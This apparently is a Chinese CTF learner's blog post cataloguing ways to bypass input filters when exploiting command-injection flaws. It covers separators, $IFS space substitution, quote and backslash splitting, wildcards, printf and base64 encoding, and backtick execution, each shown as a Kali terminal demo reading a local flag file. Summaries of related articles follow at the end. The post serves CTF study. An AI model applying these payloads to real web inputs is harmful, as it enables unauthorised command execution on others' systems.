空格過濾
黑名單繞過
萬用字元繞過
內斂執行繞過
編碼繞過
繞過長度限制
最後參考文章
剛做了一道題,是有關命令執行漏洞的,裡面過濾的內容比較多,一時間找不到頭緒,所以學習一下關於命令執行漏洞的繞過方式,以便以後遇到不會像現在這樣一點思路都沒有。
總結完再去做就很輕鬆了。
| 直接執行後面的語句
|| 如果前面命令是錯的那麼就執行後面的語句,否則只執行前面的語句
& 前面和後面命令都要執行,無論前面真假
&& 如果前面為假,後面的命令也不執行,如果前面為真則執行兩條命令
以上四種管道符在linux系統中同樣適用,增加一種
; 前面和後面命令都要執行,無論前面真假
zxcv0221@kali:~/桌面$ ping -c 1 m0re;
cat flag
ping: m0re: 沒有與主機名關聯的位址
you are good!
這個比較多了
1.$
zxcv0221@kali:~/桌面$ cat
$flag
you are good!
$ifs$9
$9指傳過來的第9個引數
zxcv0221@kali:~/桌面$ cat
$ifs
$9flag
you are good!
zxcv0221@kali:~/桌面$ cat
$ifs
$1flag
you are good!
%09
(需要php環境,不演示)
<
或者<>
重定向
zxcv0221@kali:~/桌面$ cat
you are good!
zxcv0221@kali:~/桌面$ cat<
>flag
you are good!
比如:過濾了cat或者flag
變數拼接
zxcv0221@kali:~/桌面$ a=c;b=at;c=fl;d=ag;
$a$b
$c$d
you are good!
單引號,雙引號繞過
zxcv0221@kali:~/桌面$ ca''t flag
you are good!
zxcv0221@kali:~/桌面$ cat
"" flag
you are good!
編碼繞過
$(printf "\154\163"
) ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"
) ==>cat
/flag
|\$0 ==>cat
/flag
栗子:
zxcv0221@kali:~/桌面$ $(
printf
"\154\163"
)firefox-esr.desktop flag
讀檔案繞過(當cat被過濾)
(1)more:一頁一頁的顯示檔案內容
(2)less:與 more 類似,但是比 more 更好的是,他可以[pg dn]
[pg up]翻頁
(3)head:檢視頭幾行
(4)tac:從最後一行開始顯示,可以看出 tac 是 cat 的反向顯示
(5)tail:檢視尾幾行
(6)nl:顯示的時候,順便輸出行號
(7)od:以二進位制的方式讀取檔案內容
(8)vi:一種編輯器,這個也可以檢視
(9)vim:一種編輯器,這個也可以檢視
(10)sort:可以檢視
(11)uniq:可以檢視
(12)file -f:報錯出具體內容
栗子:
zxcv0221@kali:~/桌面$ more flag
you are good!
反斜線
zxcv0221@kali:~/桌面$ c\at fl\ag
you are good!
$1、$2等和$@
zxcv0221@kali:~/桌面$ c$1at fl$@ag
you are good!
?
代表乙個字元*
代表一串字元
zxcv0221@kali:~/桌面$ /???/?[a]
[t] ?''?''?''?''
you are good!
zxcv0221@kali:~/桌面$ /???/?[a]
[t] ?''?''?''?''
you are good!
zxcv0221@kali:~/桌面$ /???/?at flag
you are good!
zxcv0221@kali:~/桌面$ /???/?at ????
you are good!
zxcv0221@kali:~/桌面$ /???/?[a]
''[t] ?''?''?''?''
you are good!
我服了,這都可以?長見識666?
*
下眾生平等?
`命令`和$(命令)都是執行命令的方式
栗子:
zxcv0221@kali:~/桌面$ echo
"m0re`cat flag`"
m0reyou are good!
zxcv0221@kali:~/桌面$ echo "m0re $(
cat flag)
"m0re you are good!
zxcv0221@kali:~/桌面$ echo "m0re $(
pwd)"
m0re /home/zxcv0221/桌面
使用base64編碼進行繞過
zxcv0221@kali:~/桌面$ `echo
"y2f0igzsywc="
|base64 -d`
you are good!
使用>
命令會將原有檔案內容覆蓋,如果是存入不存在的檔名,那麼就會新建檔案再存入
>>
符號的作用是將字串新增到檔案內容末尾,不會覆蓋原內容
換行執行命令
zxcv0221@kali:~/桌面$ ca\
可以嘗試寫乙個檔案來執行命令
zxcv0221@kali:~/桌面$ echo
"ca\\">shell
zxcv0221@kali:~/桌面$ echo
"t\\">>shell
zxcv0221@kali:~/桌面$ echo
" fl\\">>shell
zxcv0221@kali:~/桌面$ echo
"ag">>shell
zxcv0221@kali:~/桌面$ cat shell
ca\t\
fl\agzxcv0221@kali:~/桌面$ sh shell
還有一種是使用kali中的乙個工具,名字叫metasploit
學會使用,需要實踐利用,這裡就不演示了,就像我之前寫的提權的那篇文章就用到了metasploit,這個確實是乙個非常強大的工具。我已經愛上這個工具了。
目前這些應該就夠我現階段用的了。
命令執行漏洞利用及繞過方式總結
命令執行漏洞,繞過過濾姿勢
ctf命令執行漏洞繞過方式小結
測試環境 本地 win10 phpstudy8.1 kali2020.2 外網 單位提供的linux靶機 一 命令分隔符 0a 換行符,0d 回車符,連續指令 二 空格 09 ifs 9 三 讀檔案 1 more 一頁一頁的顯示檔案內容 2 less 與 more 類似,但是比 more 更好的是,...
記一次命令執行漏洞的繞過姿勢
在乙個ctf平台上發現了乙個命令執行的題目 題目源 如下 isset request ip show source file 這個 其實很容易就可以看懂,用ip傳參,然後帶入shell exec中執行命令 shell exec 通過shell環境執行命令,並且將完整的輸出以字串的方式返回 他前面用了...
命令執行漏洞
命令執行漏洞 命令執行漏洞是指攻擊者可以隨意執行系統命令。os命令執行漏洞 部分web應用程式提供了一些命令執行的操作。例如,想要測試是否可以正常連線,那麼web應用程式底層就很可能去呼叫系統操作命令,如果此處沒有過濾好使用者輸入的資料,就很有可能形成系統命令執行漏洞 在windows中,的作用是將...